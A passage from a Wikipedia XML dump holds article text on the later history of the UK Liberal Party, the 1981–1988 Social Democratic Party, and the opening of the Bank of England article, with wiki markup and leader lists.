error.

Labour was determined to destroy the Liberals and become the sole party of the left. When [[Ramsay MacDonald]] was forced into a [[united Kingdom general election, 1924|snap election in 1924]], and although his government was defeated, he achieved his objective of virtually wiping the Liberals out as many more radical voters now moved to Labour whilst moderate middle-class Liberal voters concerned about socialism moved to the Conservatives. The Liberals were reduced to a mere forty seats in Parliament, only seven of which had been won against candidates from both parties and none of these formed a coherent area of Liberal survival. The party seemed finished and during this period some Liberals, such as Churchill, went over to the Conservatives, while others went over to Labour. (Several Labour ministers of later generations, such as [[Michael Foot]] and [[Tony Benn]], were the sons of Liberal MPs.)

Asquith died in [[1926]] and the enigmatic figure of Lloyd George returned to the leadership and began a drive to produce coherent policies on many key issues of the day. In the [[United Kingdom general election, 1929|1929 general election]] he made a final bid to return the Liberals to the political mainstream, with an ambitious programme of state stimulation of the economy called ''We Can Conquer Unemployment!'', largely written for him by the Liberal economist [[John Maynard Keynes]]. The Liberals gained ground, but once again it was at the Conservatives' expense whilst also losing seats to Labour. Indeed the urban areas of the country suffering heavily from unemployment, which might have been expected to respond the most to the radical economic policies of the Liberals instead gave the party its worst results. By contrast most of the party's seats were won either due to the absence of a candidate from one of the other parties or in rural areas on the &quot;[[Celtic fringe]]&quot;, where local evidence suggests that economic ideas were at best peripheral to the electorate's concerns. The Liberals now found themselves with 59 members holding the balance of power in a Parliament where Labour was the largest party but lacked an overall majority. Lloyd George offered a degree of support to the Labour government in the hope of winning concessions, including a degree of electoral reform to introduce the [[alternative vote]], but this support was to prove bitterly divisive as the Liberals increasingly divided between those seeking to gain what Liberal goals they could achieve, those who preferred a Conservative government to a Labour one and vice-versa.

In [[1931]] MacDonald's government fell apart under the impact of the [[Great Depression in the United Kingdom|Great Depression]], and the Liberals agreed to join his National Government, which was dominated by the Conservatives. Lloyd George however was ill and did not join himself. Soon, however, the Liberals faced another divisive crisis when it was proposed to fight the [[United Kingdom general election, 1931|1931 general election]] as a National Government and seek a mandate for tariffs. From outside the government Lloyd George called for the party to abandon the government completely in defence of free trade, but only a few MPs and candidates followed him, most of them related to him. Another group under [[John Simon|Sir John Simon]] emerged who were prepared to continue their support for the government and take the Liberal places in the Cabinet if there were resignations. The third group under [[Herbert Samuel|Sir Herbert Samuel]] pressed for the parties in government to fight the election on separate platforms. In doing so the bulk of Liberals remained supporting the government, but two distinct Liberal groups had emerged within this bulk - the [[National Liberal Party (UK)|National Liberals]] led by Simon, also known as &quot;Simonites&quot;, and the &quot;Samuelites&quot; or &quot;official Liberals&quot; led by Samuel who remained as the official party. Both groups secured about 35 MPs but proceeded to diverge even further after the election, with the National Liberals remaining supporters of the government throughout its life. There were to be a succession of discussions about them rejoining the Liberals but these usually foundered on the issues of free trade and continued support for the National Government and came to little (though in [[1946]] the Liberal and National Liberal party organisations in London did merge).

The official Liberals found themselves a tiny minority within a government committed to protectionism. Slowly they found this issue to be one they could not support in any way. In early [[1932]] it was agreed to suspend the principle of [[collective responsibility]] to allow the Liberals to oppose the introduction of tariffs. Later in [[1932]] the Liberals resigned their ministerial posts over the introduction of the [[Ottawa Agreement]] on [[Imperial Preference]]. However they remained sitting on the government benches supporting it in Parliament, though in the country local Liberal activists bitterly opposed the government. Finally in late 1933 the Liberals crossed the floor of the House of Commons and went into complete opposition. By this point their number of MPs was severely depleted. In the [[United Kingdom general election, 1935|1935 general election]], just 17 Liberal MPs were elected, along with Lloyd George and three followers as &quot;[[Independent Liberal Party (UK)|independent Liberals]]&quot;. Immediately after the election the two groups reunited, though Lloyd George declined to play much of a formal role in his old party. However over the next ten years there would be further defections as MPs deserted to either the National Liberals or Labour. There were however a few recruits, such as [[Clement Davies]], who had deserted to the National Liberals in [[1931]] but now returned to the party during the [[World War II|Second World War]] and who would lead it after the war.

Samuel had lost his seat in the [[United Kingdom general election, 1935|1935]] election and the leadership of the party fell to [[Archibald Sinclair, 1st Viscount Thurso|Sir Archibald Sinclair]]. With many traditional domestic Liberal policies now regarded as irrelevant, he focused the part on opposition to both the rise of Fascism in Europe and the [[appeasement]] foreign policy of the British government, arguing that intervention was needed, in contrast to the Labour calls for pacifism. Despite the party's weaknesses, Sinclair gained a high profile as he sought to recall the [[Midlothian Campaign]] and once more revitalise the Liberals as the party of a strong foreign policy.

In [[1940]] they joined Churchill's wartime coalition government, with Sinclair serving as [[Secretary of State for Air]], the last British Liberal to hold Cabinet rank office. However it was a sign of the party's lack of importance that they were not included in the [[War Cabinet]]. At the [[United Kingdom general election, 1945|1945 general election]], however, Sinclair and many of his colleagues lost their seats to both Conservatives and Labour. By [[1951]] there were only six MPs, all but one of them were aided by the Conservatives not putting up a candidate. In [[1957]] this total fell to five when one of their MPs died and the subsequent by-election was lost to the Labour Party, who fielded the former Liberal Deputy Leader [[Lady Megan Lloyd George]] as their candidate. The Liberal Party seemed close to extinction. During this low period, it was often joked that Liberal MP's could hold meetings in the back of one taxi.

==Liberal revival==
Through the [[1950s]] and into the [[1960s]] the Liberals survived only because a handful of constituencies in rural [[Scotland]] and [[Wales]] clung to their Liberal traditions, whilst in two English towns, [[Bolton]] and [[Huddersfield]] local Liberals and Conservatives agreed to each contest only one of the town's two seats. [[Jo Grimond]], for example, who became Liberal leader in [[1956]], was MP for the remote [[Orkney]] and [[Shetland]] islands. Under his leadership a Liberal revival began, marked by the famous [[Orpington by-election, 1962|Orpington by-election]] of March [[1962]] which was won by [[Eric Reginald Lubbock, 4th Baron Avebury|Eric Lubbock]], in which the Liberals won a seat in the London suburbs for the first time since [[1935]]. The Liberals became the first of the major British political parties to advocate British membership of the [[European Economic Community]]. Grimond also sought an intellectual revival of the party, seeking to position it as a non-socialist radical alternative to the Conservative government of the day. In particular he appealed to the new university students and graduates in the post-war world, appealing to younger voters in a way that many of his recent predecessors had failed to do so, asserting a new strand of Liberalism for the post war world.

The postwar middle class suburban generation began to find the Liberals' policies attractive again, and under Grimond and his successor, [[Jeremy Thorpe]], the Liberals regained the status of a serious third force in British politics, polling up to 20% of the vote but unable to break the duopoly of Labour and Conservative and win more than fourteen seats in the Commons. An additional problem was competition in the Liberal heartlands in Scotland and Wales from the [[Scottish National Party]] and [[Plaid Cymru]] who both grew as electoral forces from the [[1960s]] onwards.

In the [[United Kingdom general election, 1974 (February)|February 1974 general election]] the Conservative government of [[Edward Heath]] lost its overall majority. The Liberals now held the balance of power in the Commons. Heath offered Thorpe the [[Home Office]] if he would join a coalition government with Heath. Thorpe was personally in favour, but the party insisted on a clear government commitment to introducing [[proportional representation]] and a change of Prime Minister. The former was unacceptable to Heath's Cabinet and the latter to Heath personally and so the talks collapsed. Instead a minority Labour government was formed under [[Harold Wilson]] but with no formal support from Thorpe. In the [[United Kingdom general election, 1974 (October)|October 1974 general election]] the Liberals slipped back slightly and the Labour government won a very slender majority. Thorpe was subsequently forced to resign in a sordid sex scandal. The party's new leader, [[David Steel]] negotiated the [[Lib-Lab Pact]] with the new Prime Minister, [[Jim Callaghan]], whereby the Liberals would support the government in crucial votes in exchange for some influence over policy. This pact lasted from [[1977]]-[[1978]] but proved relatively fruitless as the Liberals' key demand of [[proportional representation]] was anathema to most Labour MPs whilst the contacts between Liberal spokespersons and Labour ministers often proved detrimental, such as between finance spokesperson [[John Pardoe]] and [[Chancellor of the Exchequer]] [[Denis Healey]] who did not get on at all.

When the Labour government fell in [[1979]], the Conservatives under [[Margaret Thatcher]] won [[united Kingdom general election, 1979|a landslide victory]] which pushed the Liberals back into the margins. In [[1981]] defectors from the moderate wing of the Labour Party, led by former Cabinet ministers [[Roy Jenkins]], [[David Owen]] and [[Shirley Williams]], founded the [[Social Democratic Party (UK)|Social Democratic Party]]. The two parties fought the [[United Kingdom general election, 1983|1983]] and [[United Kingdom general election, 1987|1987]] general elections jointly as the [[SDP-Liberal Alliance]]. During [[1982]] and [[1983]], at the depths of Labour's fortunes under [[Michael Foot]], there was much talk of the Alliance becoming the dominant party of the left and even of Jenkins becoming Prime Minister. In fact, while the Alliance won over 20% of the vote each time, it never made the hoped-for breakthrough in terms of parliamentary seats.

==Merger with SDP==
''(see article at [[Liberal Democrats (UK)]] for details of the successor party)''

In [[1988]] the two parties merged to create (after a number of name changes) the [[Liberal Democrats (UK)|Liberal Democrats]]. Over two-thirds of the members, and all the serving MPs, of the Liberal Party joined this party, led first by Steel and later by [[Paddy Ashdown]] and [[Charles Kennedy]]. With the fading away of the ex-Labour element after [[1992]], this party is seen by many as a continuation of the old Liberal Party under a new name, and some of its MPs and many of its rank-and-file continue to refer to themselves simply as Liberals. However others argue that the Liberal Democrats do not always follow traditional Liberal policies, whilst in terms of personalities they argue that both Paddy Ashdown (who was closer to the SDP than the Liberals on several matters) and Charles Kennedy (who was an SDP not a Liberal MP) were not old-style Liberals.

==The post 1988 Liberal Party==
{{main|Liberal Party (UK, 1989)}}
A group of Liberal opponents of the merger, including [[Michael Meadowcroft]] formerly Liberal MP for Leeds West and Dr Paul Wiggin who served on Peterborough City Council as a Liberal, continued under the old name of &quot;[[Liberal Party (UK, 1989)|the Liberal Party]]&quot;; this was legally a new organisation (the headquarters, records, assets and debts of the old party were inherited by the Liberal Democrats), but its constitution asserts it to be the same party as that which had previously existed.

==Liberal leaders 1859-1988==
'''Liberal Leaders in the House of Lords, 1859-1916'''

*[[Granville George Leveson-Gower, 2nd Earl Granville]] 1859-1865
*[[John Russell, 1st Earl Russell]] 1865-1868
*[[Granville George Leveson-Gower, 2nd Earl Granville]] 1868-1891
*[[John Wodehouse, 1st Earl of Kimberley]] 1891-1894
*[[Archibald Philip Primrose, 5th Earl of Rosebery]] 1894-1896
*[[John Wodehouse, 1st Earl of Kimberley]] 1896-1902
*[[George Robinson, 1st Marquess of Ripon]] 1902-1908
*[[Robert Offley Ashburton Crewe-Milnes, 1st Marquess of Crewe|Robert Crewe-Milnes, 1st Marquess of Crewe]] 1908-1916

'''Liberal Leaders in the House of Commons, 1859-1916'''

*[[Henry John Temple, 3rd Viscount Palmerston]] 1859-1865
*[[William Ewart Gladstone]] 1865-1875
*[[Spencer Compton Cavendish, 8th Duke of Devonshire|Spencer Compton Cavendish, Marquess of Hartington]] 1875-1880
*[[William Ewart Gladstone]] 1880-1894
*[[William Vernon Harcourt (politician)|Sir William Vernon Harcourt]] 1894-1899
*[[Henry Campbell-Bannerman|Sir Henry Campbell-Bannerman]] 1899-1908
*[[Herbert Henry Asquith]], 1st Earl of Oxford and Asquith (1925) 1908-1916

'''Leaders of the Liberal Party, 1916-1988'''

*[[Herbert Henry Asquith]], 1st Earl of Oxford and Asquith (1925) [[1916]]-[[1926]]
**''[[Donald Maclean]], Acting Leader'' [[1919]]-[[1922]]
*[[David Lloyd George]] [[1926]]-[[1931]]
*[[Herbert Samuel|Sir Herbert Samuel]] [[1931]]-[[1935]]
*[[Archibald Sinclair, 1st Viscount Thurso|Sir Archibald Sinclair]] [[1935]]-[[1945]]
*[[Clement Davies]] [[1945]]-[[1956]]
*[[Jo Grimond]] [[1956]]-[[1967]]
*[[Jeremy Thorpe]] [[1967]]-[[1976]]
*[[Jo Grimond]]  [[1976]]
*[[David Steel]] [[1976]]-[[1988]]

==See also==
*[[List of Liberal Party (UK) MPs]]
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Liberalism worldwide]]
*[[List of liberal parties]]
*[[Liberal democracy]]
*[[Liberalism in the United Kingdom]]
*[[Politics of the United Kingdom]]
*[[UK topics]]

==External links==
*[http://www.liberalhistory.org.uk/ Liberal Democrat History Group]

==References==
Chris Cook, ''A Short History of the Liberal Party, 1900-2001'' (6th edition). Basingstoke: Palgrave, 2002. ISBN 0-333-91838-X.
Jonathan Parry, ''The Rise and Fall of Liberal Government in Victorian Britain''.
Yale, 1993.ISBN 0-300-06718-6.

[[Category:Defunct political parties in the United Kingdom]]
[[Category:Historical liberal parties|United Kingdom 1860s]]

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[[uk:Ліберальна партія (Великобританія)]]</text>
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  <page>
    <title>Social Democratic Party (UK)</title>
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      <text xml:space="preserve">:''This article is about the party that existed from 1981 until 1988.  For the later parties which claim continuity, see [[Social Democratic Party (UK, 1988)]] or [[Social Democratic Party (UK, 1990)]]. From 1907, the &quot;Social Democratic Party&quot; was also the official name of the [[Social Democratic Federation]].

[[Image:SDPLogo.jpg|right|thumb|150px|]]
The '''Social Democratic Party''' (SDP) was a [[political party]] of the [[United Kingdom]] that existed nationwide between [[1981]] and [[1988]]. It was founded by four senior [[Moderate#Politics|moderate]] [[Member of Parliament|Members of Parliament]] (MPs) from the [[Labour Party (UK)|Labour Party]], dubbed the  &quot;Gang of Four&quot;: [[Roy Jenkins]], [[David Owen]], [[Bill Rodgers (politician)|Bill Rodgers]] and [[Shirley Williams]]. They left the Labour Party in the belief that it had become too [[Left-wing politics|left-wing]], and had been infiltrated at [[constituency]] level by [[Trotskyist]] [[Political faction|faction]]s whose views and behaviour were at odds with the [[parliamentary party]] and the Labour-voting [[electorate]].

For the [[United Kingdom general election, 1983|1983]] and [[United Kingdom general election, 1987|1987 General Elections]], the SDP joined the [[Liberal Party (UK)|Liberal Party]] in the [[SDP-Liberal Alliance]]. The majority of the party merged with the Liberal Party in 1988 to form the Social and Liberal Democrats (SLD), now known as the [[Liberal Democrats (UK)|Liberal Democrats]].

==History==
===Origins===
&lt;!--Copyedited to here, 19 Decmber 2005--&gt;
[[Image:SDP gangoffour.jpg|right|thumb|250px|The &quot;Gang of Four&quot; at a press conference, 1981]]
The origin of the party lies in the 1979 [[Dimbleby Lecture]] given by [[Roy Jenkins]] as he neared the end of his [[President of the European Commission|presidency]] of the [[European Commission]]. Jenkins argued the necessity for a realignment in British politics, and discussed whether this could be brought about from within the existing Liberal Party, or from a new group driven by [[Europe]]an principals of [[social democracy]].

There were long-running claims of corruption and administrative decay within Labour at local level (the North East of England was to become a cause celebré), and concerns that experienced and able Labour MPs could be deselected (i.e., lose the Labour Party nomination) by those wanting to put into a safe seat their friends, family or members of their own Labour faction. In particular, the [[Militant Tendency]] were held to be systematically targeting weak local party branches in safe seat areas in order to have their own candidates selected, and thus become MPs.

[[Eddie Milne]] at [[Blyth]] (Northumberland) and [[Dick Taverne]] in [[Lincoln, Lincolnshire|Lincoln]] were both victims of such intrigues during the 1970s, but in both cases there was enough of a local outcry by party members - and the electorate -  for them to fight and win their seats as independent candidates against the official Labour candidates.

===The March 1973 Lincoln by-election===

In Taverne's case, he resigned his seat to force a by-election to highlight the issue of infiltration and intimidation by Militant. He won the seat as a [[Democratic Labour]] candidate when he was deselected in favour of a Militant-supported one. He founded the short lived [[Campaign for Social Democracy]] thereafter, and wrote a book about events surrounding the by-election called ''The Future of the Left - Lincoln and After'' (1972). But the CFSD failed to gain nationwide support, and Taverne lost the seat at the October 1974 General Election. Some independent Social Democrats contested the October 1974 and 1979 General Elections, but none were elected.

Taverne's Lincoln by-election campaign was also helped to a lesser degree by problems with the Conservative candidate, [[Monday Club]] chairman [[Jonathan Guinness]]. His suggestion during the by-election that murderers should have razor blades left in their cells so they could decently commit suicide resulted in him being nicknamed &quot;Old Razor Blades&quot; during the campaign. This, combined with considerable Conservative grassroots disquiet over the Club's links to the [[British National Front|National Front]], persuaded some Conservative voters to switch to Taverne in protest as much as tactically to ensure Labour suffered an embarrassing loss. (Guinness had been elected as Chairman specifically to eradicate such links.)

===The Manifesto Group and the split from Labour===

Many original members of the future Social Democratic Party had been members of the [[Manifesto Group]] within the Labour Party. This group opposed the leftward shift in Labour policy, the increasing prominence within the party of [[Tony Benn]], and the involvement of trade unions in choosing the leader of the Labour Party. They argued that a new type of political force was needed to challenge the [[Conservative Party (UK)|Conservative Party]]. Further, they argued that the leader of that party should be elected by its entire membership, rather than the [[electoral college]] in use in the Labour party that was largely dominated by the block votes of the Trade Unions. They were also vehemently opposed to Labour's pledge to nuclear disarmament at a time of extreme &quot;Cold War&quot; tensions between the USA and the Soviet Union.

The final straw for many in the Manifesto Group was the behaviour of former Chancellor of the Exchequer [[Denis Healey]] at a meeting with them during the Labour leadership campaign to replace [[James Callaghan]]. He bluntly told the assembled to vote for him and answered their questions uninformatively. At the end, one asked him why they should vote for him, and Healey answered &quot;You have nowhere else to go&quot; (to stop the left-winger [[Michael Foot]] from winning). Healey's arrogance convinced many that their days as members of the Labour Party were now over. Ivor Crewe and Anthony King found five defectors who claimed to have voted for Foot in order to saddle Labour with an unelectable leader and make life easier in their new party. One defector, Mike Thomas, said he was tempted to send a telegraph to Healey reading &quot;Have found somewhere else to go&quot;.

Newspapers of the period reported that the announcement of the new party came as a complete shock to MPs from all sides of the Commons, including members of the Manifesto Group, as &quot;The Gang of Four&quot; had kept their preparations a closely guarded secret. One notable Manifesto Group exception was its secretary, future Defence Secretary [[George Robertson]], who was the only officer to remain. The story got around that he had refused to join the new party because he feared he would not be able to keep his Lanarkshire seat at a general election; local [[Scottish National Party]] supporters nicknamed him &quot;Chicken George&quot;.

===The Limehouse Declaration and the birth of the SDP===

The founding members or &quot;Gang of Four&quot; were [[Roy Jenkins]], [[David Owen]], [[Bill Rodgers (politician)|Bill Rodgers]] and [[Shirley Williams]], all leading figures on the Labour &quot;Right&quot;. They announced the new party at a press conference, and outlined their policies in what became known as the [[Limehouse Declaration]].

Twenty-eight Labour MPs eventually joined the new party, along with one member of the [[Conservative Party (UK)|Conservative Party]], [[Christopher Brocklebank-Fowler]].  Williams and Jenkins were not at the time MPs, but were elected to the Commons in by-elections at Crosby and Glasgow Hillhead respectively.

The party enjoyed a considerable honeymoon period with the press, who made considerable joke mileage out of their quirk for proffering Claret at their functions. Claret is an &quot;agreeable&quot; wine, and a metaphor for the party's harmonious internal relations compared to those of the strife-torn Labour Party of the period.

Jenkins unsuccessfully contested a by-election at Warrington in March 1982. In the Glasgow Hillhead by-election, another candidate named Roy Jenkins was nominated by Labour Party activists to contest the seat in order to confuse voters and split his potential vote. SDP polling agents were given special dispensation by the Returning Officer to have placards outside of polling stations to state which one on the ballot papers was the 'real Roy'. 
[[Image:Gangoffour.jpg|right|thumb|300px|The 'Gang of Four' in 1981 - Bill Rodgers, Shirley Williams, Roy Jenkins and David Owen]]

A [[Social Democratic Party (UK) leadership election, 1982|leadership election]] was held later in the year, Jenkins beating Owen in the ballot to become the first party leader.

===The Alliance===
The SDP formed the [[SDP-Liberal Alliance]] with the Liberal Party late in [[1981]], under the joint leadership of Roy Jenkins (SDP) and Liberal leader [[David Steel]]. The Liberal Party, and in particular its leader, David Steel, had applauded the formation of the SDP from the sidelines from the very start. Senior Liberal MP for Rochdale [[Cyril Smith]] caused some embarrassment, however, by publicly stating that the SDP &quot;should be strangled at birth&quot;. During an era of public disillusionment with the two main parties  - Labour and the Conservative - and widescale unemployment, the Alliance achieved considerable success in parliamentary by-elections. At one point, the party had an opinion poll rating of over 50%. By 1981, David Steel was able to address the Liberal Party conference with the phrase &quot;Go back to your constituencies, and prepare for government!&quot;

In early [[1982]], after public disagreements over who could fight which seats in the forthcoming election, the poll rating dipped, but the party was still well ahead of the Conservatives, and far ahead of Labour. Labour lost one of their ten safest seats in a [[Bermondsey by-election, 1983|by-election in early 1983]] to Liberal candidate [[Simon Hughes]]: the sitting Labour MP [[Bob Mellish, Baron Mellish|Robert Mellish]] resigned to work for the [[London Docklands Development Corporation]] but being opposed to the selection by his left-wing [[Constituency Labour Party]] of [[Peter Tatchell]], supported the former leader of [[London Borough of Southwark|Southwark council]] John O'Grady as &quot;Real Bermondsey Labour&quot; giving an impression of Labour division and infighting.

However, following victory in the [[Falklands War]] in June [[1982]], the Conservative government of [[Margaret Thatcher]] soared from third place in the public opinion polls. The standing of the Alliance and Labour declined. The Alliance did well in the [[United Kingdom general election, 1983|1983 general election]], winning 25% of the national vote, close behind Labour's 28%. Because of the British &quot;first-past-the-post&quot; electoral system, only 23 Alliance MPs were elected, six of whom were members of the SDP. Two more SDP MPs were elected in [[by-election]]s in the next four years, but in the [[United Kingdom general election, 1987|1987 general election]], with the SDP under the leadership of [[David Owen]], the Alliance's share of the vote fell slightly, and the SDP's parlimentary party was reduced from eight members to five. Roy Jenkins was amongst those who lost their seats. ([[Mike Hancock]] had won a [[Portsmouth South by-election, 1984|by-election at Portsmouth South in 1984]] from the Conservatives, and [[Rosie Barnes]] had won the bitterly contested [[Greenwich by-election, 1987|Greenwich by-election]] in 1987 from Labour. Neither victory could disguise the fact that the electorate's &quot;love affair&quot; with the Alliance was beginning to cool: local government election results proved disappointing even after the Portsmouth result.

From the outset, the formation of the Alliance had raised questions as to whether it would lead to a merged party, or the two parties were destined to compete with each other. This in turn led to grassroots tensions in some areas between Liberal and SDP branches that impaired their ability to mount joint campaigns successfully. Such cross-party feuding was part of the reason for Jenkins losing his Hillhead seat to Labour candidate [[George Galloway]] in 1987. 

Matters were exacerbated by tensions between local Liberal and SDP branches over joint &quot;Alliance&quot; candidate adoptions. Liberal pride was damaged by the sustained lampooning of the Alliance by ITV's ''[[Spitting Image]]'' puppet comedy programme portraying Steel as the craven lickspittle of Owen. Both Owen and Steel were to admit years later that ''Spitting Image'' did a lot of damage to the Alliance, which was heavily dependent on positive publicity to make up for the lack of activist numbers of the Conservatives and Labour.

One ''Spitting Image'' sketch had a Machiavellian Owen proposing to a simpering Steel that the parties merged under a new name: &quot;and for our side we'll take 'Social Democratic', and from your side, we'll take ‘Party'&quot;, to which a hesitant Steel agreed.

Jenkins' critics believe that he saw the SDP as only a vehicle for siphoning off the right wing of the Labour Party into a new centrist party with the existing Liberals. This would provide a more pro-European and stable party of government within a Proportional Representation system of elections, avoiding the destructive policy swings from left to right caused by Labour and the Conservatives. Owen however saw the party as being a replacement for Labour altogether, of the same mould as the German Social Democrats which benefit from not being tied down by Trade Union control, and thus were seen as more approachable by business interests. It was Owen's vision that attracted to the SDP its main sponsor, the Sainsbury supermarket chain. [[Tony Blair]], the Labour MP from Sedgefield, was a very vocal critic of this SDP-business link. Years later, he made its owner a Lord in return for his considerable patronage of &quot;New Labour&quot;.

===One merger, two splits===
After the disappointment of 1987, Steel proposed a formal merger of the two parties. This had been what Jenkins and Steel had wanted all along, although Jenkins' interest had been muted whilst SDP leader.  He was fiercely opposed by Owen, who argued that such a merger would not be accepted by the electorate, and would not reverse their declining share of the vote. Owen was quoted as saying that Jenkins should have been honest and joined the Liberals in 1981 with his closest supporters, including [[Dick Taverne]], [[Tom Ellis]], [[Tom Bradley]] and [[Neville Sandelson]].

But the majority of the SDP's now demoralised membership (along with those of the Liberals) voted in favour of the union. Owen resigned as leader and was replaced by [[Robert Maclennan]]. Steel and Maclennan headed the new &quot;Social and Liberal Democrat Party&quot; (SLD) from [[March 3]], [[1988]]. An interim working name for the party, the &quot;Democrats&quot;, was adopted by conference on [[26 September]] [[1988]]. This proved to be unpopular, and the party was re-named the [[Liberal Democrats (UK)|Liberal Democrats]] in October 1989, as had been originally proposed at the September 1988 conference by the party's Tiverton branch. 

Many SDP members, including SDP MP and future Liberal Democrat leader [[Charles Kennedy]], joined Maclennan in the merged party, but Owen remained defiantly at the head of a continuing SDP, along with two other MPs, [[John Cartwright (UK politician)|John Cartwright]] and [[Rosie Barnes]]. There was also a continuing [[Liberal Party (modern)|Liberal Party]], led by [[Michael Meadowcroft]] and [[David Morrish]], mainly based around Liverpool and West Country Liberals who feared a dilution by the former SDP members of the Liberal tradition within the merged party.

There was much rancour from the merged SLD at the continuing SDP. The low mark of this was a staged confrontation by Kennedy and Maclennan who turned up on the doorstep of Owen's home when he was hosting a birthday party for his young daughter. Accompanied by a TV news camera crew, they asked him why he had refused to accept the vote of the majority of SDP members. Both parties, however, had federal structures, which meant that individual branches of the SDP and  Liberals could continue to carry on as before. The Greenwich branch of the SDP was one that chose to do so. 

Some members simply dropped out of politics together out of disillusionment when the time came to renew their membership subscriptions.  After a series of highly publicised expulsions, a now Militant-free Labour Party led by [[Neil Kinnock]] benefited from the feuding within the former Alliance that was supposed to see an end to &quot;the politics of confrontation&quot;. The Liberal Democrats also lost to the continuing SDP its one major backer, [[David Sainsbury, Baron Sainsbury of Turville|Lord Sainsbury]].

The subsequent election of a new leader, [[Paddy Ashdown]], revived the new party's fortunes in time, and turned it into the most successful &quot;third party&quot; electorally in British politics since the days of Lloyd George.

(For information about the continuation of the SDP led by Dr. David Owen from 1988 to 1990, please see [[Social Democratic Party (UK, 1988)]], and about the subsequent continuation of the party after 1990, please see [[Social Democratic Party (UK, 1990)]].)

==Aftermath==

Most members of the SDP who joined the Liberal Democrats have remained in that party. There have been a few exceptions: notably [[Roger Liddle]]. Some Owenites joined the Conservative Party, with one, [[Danny Finkelstein]] becoming a close aide of both [[John Major]] and [[William Hague]]. Their critics believe that this had more to do with the desire to continue to do the most damage towards Labour than true political conviction. The venom that British Labour members direct towards those who leave for other parties results in few returning to their ranks later. [[Polly Toynbee]] was among those who did so.

==Effects==
It has been argued by some that the creation of the SDP led eventually to [[Tony Blair]]'s movement of the Labour Party back towards the political centre under the banner of &quot;[[New Labour]]&quot;. But some of those Labour moderates who remained in the party, such as [[Roy Hattersley]], argue that the so-called &quot;split in the centre-left&quot; both aided the Conservatives and delayed the move of the Labour Party to a centrist position. 

Perhaps more convincingly it has been argued that the impact of the SDP was to show those on the [[soft left]] of the Labour Party that they could not rely on a pendulum effect to propel a leftist Labour Party back to power - Labour had to actively engage with the electorate's concerns. Both Kinnock and Blair came from that soft left position.

(Interestingly, New Labour fought the 2001 general election under the old SDP colours of red and purple instead of their traditional red and yellow - much to the disgust of some. The SDP's adoption of red and purple in the first place was primarily due to the fact their previous red, white and blue rosettes were also used by Britain's two major far-right parties, the National Front and the [[British National Party]]).

The SDP also accelerated the breakup of the political [[Labour Movement]]. SDP politicians did not necessarily come from an anti-trade union position: many were, in fact Labour-right wing union organisers in pre-politician days. But being in a party without a direct trade union link, togther with their experience of the unions move to the left in the [[1970s]], made them more responsive to the anti-union mood of the country and less likely to defend the unions: in time, too, Labour had to respond to that mood. 

But most important of all, the Social Democratic Party strengthened the political credibilty of the Liberals. The national status of Roy Jenkins (former Chancellor and Home Secretary) and David Owen (former Foreign Secretary who had been widely tipped as a future Labour Prime Minister) helped the Liberals become something more than a source of shock by-election results and a party for those living in rural areas such as the Highlands and Cornwall. The SDP also helped the Liberals attract attention from the media for their policies after a long period when the only media interest in the party resulted from the trial of former Liberal leader [[Jeremy Thorpe]]. 

The SDP proved that a brand new party outside of the major two could fight elections anywhere in the country, and win - but in their patronage by Sainsbury's they also proved what the National Front had learned the hard way in the 1970s, that a substantial source of income outside of that raised by members was required in order to be able to fight elections on equal terms with the &quot;big two&quot;.

=='Tough and tender'==

The policies of the SDP often were described by members of the party as being 'tough and tender'. This meant that the SDP accepted the 'tough' [[Thatcherite]] economic reforms of the economy during the 1980s (such as anti-trade union legislation and the privatisation of state industries). However, they advocated a 'tender' approach coupled with the acceptance of Thatcherism, which included the provision of extra welfare (particularly regarding the Health Service).

==Leaders of the Social Democratic Party==
* [[Roy Jenkins]], 1982-1983
* [[David Owen]], 1983-1987
* [[Robert Maclennan]], 1987-1988

==See also==
*[[Politics of the United Kingdom]]
*[[:Category: UK Social Democratic Party (SDP) politicians|Social Democratic Party (SDP) politicians]]


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[[Category:Defunct political parties in the United Kingdom]]
[[Category:Social democratic parties]]

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    <title>Bank of England</title>
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      <text xml:space="preserve">The '''Bank of England''' is the [[central bank]] of the [[United Kingdom]], sometimes known as &quot;'''The Old Lady of [[Threadneedle Street]]'''&quot; or &quot;'''The Old Lady'''&quot;. The nearest [[London Underground]] station is [[Bank and Monument stations|Bank station]].

[[Image:london.bankofengland.arp.jpg|thumb|right|250px|The Bank of England]]

==Functions of the Bank==

It performs all the functions of a [[central bank]] -- to maintain price stability, and subject to that, to support the economic policy of [[Elizabeth II of the United Kingdom|Her Majesty's]] [[Government]] ([[Bank of England Act 1998]]) in order to promote economic growth. 

In pursuing its goal of maintaining a stable and efficient financial framework, the Bank has two core purposes;

#'''Core Purpose 1 — Monetary Stability.''' Monetary stability means stable prices and confidence in the currency. Stable prices are defined by the Government's inflation target, which the Bank seeks to meet through the decisions on interest rates taken by the [[Monetary Policy Committee]].
#'''Core Purpose 2 — Financial Stability.''' Financial stability entails detecting and reducing threats to the financial system as a whole. Such threats are detected through the Bank’s surveillance and market intelligence functions. They are reduced by financial and other operations, at home and abroad, including, in exceptional circumstances, by acting as the lender of last resort.

In pursuit of both purposes the Bank works closely with others, including:

*Other central banks and international organisations to improve the international monetary system. 
*[[HM Treasury]] and the [[Financial Services Authority]], under the terms of the 1997 Memorandum of Understanding, to pursue financial stability. 

It has a [[monopoly]] on the issue of [[banknote]]s in [[England]] and [[Wales]] (see [[Sterling]]); it is both the Government's banker and the bankers' bank; a &quot;Lender of Last Resort&quot;; it manages the country's foreign exchange and [[gold reserve]]s; it used to be responsible for the regulation and supervision of the banking [[industry]] (see [[Johnson Matthey]], [[Bank of Credit and Commerce International|BCCI]], and [[Barings]]), although this responsibility was transferred to the Financial Services Authority in June [[1998]]. Since [[1997]] the [[Monetary Policy Committee]] has had the responsibility for setting the official [[interest rate]]. With the decision to grant the Bank operational independence,  responsibility for government debt management was transferred to the new [[UK Debt Management Office]] in [[1998]], which also took over government cash management in [[2000]]. The Bank  maintains the Government's [[Consolidated Fund]] account. [[Computershare]] took over as the registrar for UK Government bonds (known as [[gilts]]) from the Bank at the end of [[2004]]. 

[[Scotland|Scottish]] and [[Northern Ireland|Northern Irish]] banks retain the right to issue their own banknotes, but they must be backed one to one with deposits in the Bank of England, excepting a few million pounds representing the value of notes they had in circulation in [[1845]]. [[Image:City1.jpg|right]]

The current [[Governor of the Bank of England]] is [[Mervyn Allister King]], who took over on [[June 30]] [[2003]] from [[Knight|Sir]] [[Edward George]].

==History==
